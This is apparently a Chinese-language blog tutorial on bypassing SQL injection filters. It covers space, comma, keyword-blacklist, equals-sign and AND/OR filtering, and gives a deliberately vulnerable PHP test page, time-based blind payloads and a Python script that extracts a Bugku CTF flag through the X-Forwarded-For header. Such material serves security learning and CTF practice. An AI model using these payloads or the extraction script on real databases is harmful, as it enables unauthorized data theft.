SQL注入之绕过各种限制的方法

April 2, 2018 WEB安全 访问: 30 次

绕过姿势

过滤掉空格

当过滤掉空格之后,一个SQL语句会变成没有空格的字符串,如"select*fromuser";很显然,这句在服务器上是不能够执行的,所以我们就要想办法给他进行绕过;
测试代码

<?php
header('content-type:text/html;charset=utf-8');
$conn = mysql_connect("localhost","root","wang");
if (!$conn)
{
    die("Could not connect: " . mysql_error());
}
mysql_select_db('test');
mysql_query("set names utf8");
$a = isset($_GET['a'])?$_GET['a']:"";
if($a!="")
{
    $id= preg_replace('/[\s]/',"", $a);
    $sql = "select * from user where username='".$a."'";
    $res = mysql_query($sql);
    $row = mysql_fetch_array($res);
    if(mysql_affected_rows()>0)
    {
        print_r($row);
    }else
    {
        echo "error:".mysql_error();
    }
}
else{
    echo "get输入一个a!";
}
?>
  • 第一个方法使用注释来绕过
select/**/*/**/from/**/user;

  • 第二种方法是一些特殊的字符编码,在Linux系统上apache将一些特殊的字符解释为空格;但是在windows上并不能行。但是我测试的时候并不能绕过
%09     TAB 键(水平)
%0a     新建一行
%0c     新的一页
%0d     return 功能
%0b     TAB 键(垂直)
%a0     空格
  • 第三种就是在get传参的前提下,空格可以通过加好代替
  • 第四种就是加括号
select(colmun_name)from(table_name)

逗号被过滤

  • 知识准备
1. select case when (判断条件) then [条件正确时执行的语句] else [条件错误时执行的语句] end;
2. substr(...from...for...)
  • 这里以BUGKU中的insert into这道题为例子
    首先题目已经给出源代码,从中可以发现诸如点在header头中的X_FORWARDED_FOR上,但是又经过审计给出的代码发现,X_FORWARDED_FOR的值不能出现逗号,想要绕过逗号,就需要上面的两个函数;
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

测试

payload_1 = 1' and (select case when (1=1) then sleep(5) else 1 end) and '1'='1
payload_2 = 1' and (select case when (1=2) then sleep(5) else 1 end) and '1'='1

经过这两个payload的发送的包接受时间来判断,这里是可以利用基于时间的注入,最后利用一下的脚本可以跑出来flag;
本题的解题脚本

import requests
import time
num_1 = 1
url = "http://120.24.86.145:8002/web15/index.php"
cha = 0
flag = ""
while num_1<=32:
    num_2 = 32
    cha = 0
    while cha<10 and num_2<128:
        time1 = time.time()
        header = {"X-Forwarded-For":"1\' and (select case when (ascii(substr((select flag from flag) from "+str(num_1)+" for 1))="+str(num_2)+") then sleep(10) else 1 end) and \'1\'=\'1"}
        r = requests.get(url,headers = header)
        time2 = time.time()
        cha = time2 - time1
        num_2 = num_2 +1
    flag = flag+chr(num_2-1)
    print(flag)
    num_1 = num_1 + 1
print(flag)
# len(database())=5
# len(user())=9
# table_name ---len = 14
# table_name = client_ip,flag
# column_name ----len =10
# colums_name =id,ip,flag
flag: flag{cdbf14c9551d5be5612f7bb5d2867853}

黑名单绕过

很多网站或者是CTF题中也是常常利用黑名单来限制注入,比如限制“select、union、from、or、and等”

  • 大写绕过
    若服务器没有对输出的参数进行转小写的操作的话,我们就可以大写绕过黑名单
SeleCt
UniOn
fRom
Or
AnD
……
  • 双写绕过
    若服务器对黑名单中的关键字进行空替换的话,我们就可以进行双写绕过
seleselectct
uniunionon
……

内联注释

这个姿势是我在看线上视频的时候有一个讲师用的这个方法来绕过安全狗的检测,确实很骚
例如:

/*!select*/
/*!union*/
……

绕过等号被过滤

在mysql中等号可以用“<>”代替,或者用like

where username like "radish";
where username<>"radish";

过滤and、or

当过滤and或者是or的时候,我们还可以用另一种运算方法来注入:xor(^)
两个条件相同(同真或同假)即为假(0),
两个条件不同即为真(1)

添加新评论